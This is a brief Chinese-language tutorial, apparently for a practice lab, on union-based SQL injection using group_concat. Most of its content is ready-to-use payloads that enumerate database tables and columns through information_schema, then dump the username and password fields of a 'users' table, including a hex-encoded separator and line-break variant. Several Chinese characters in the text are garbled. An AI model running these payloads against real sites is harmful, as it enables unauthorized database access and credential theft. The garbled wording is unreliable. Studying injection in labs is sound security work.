一、information_schema庫中的tables表的字段解釋
table_schema #該字段存儲數據庫名
table_name #該字段存儲對應數據庫中的包括的表名
使用group_concat()凼數迚行sql注入
語法:union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
二、獲取users表中的字段名
通過group_concat(column_name)迚行sql注入,查看users表中字段
語法: union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
三、 獲取用戶名密碼字段中的值
使用group_concat(username,password)將用戶名和密碼連接成字符串
使用group_concat(username,0x3a,password)將用戶名和密碼連接成字符串,並使用:冒 號將用戶名和密碼分隑開。 擴展:0x是十六迚制的標志,3a即十六迚制的3a。 0x3a在ASCII碼表代表:冒號
語法: union select 1,group_concat(username,0x3a,password),3 from users--+
在sql注入時加入換行符
語法: union select 1,group_concat(username, 0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users--+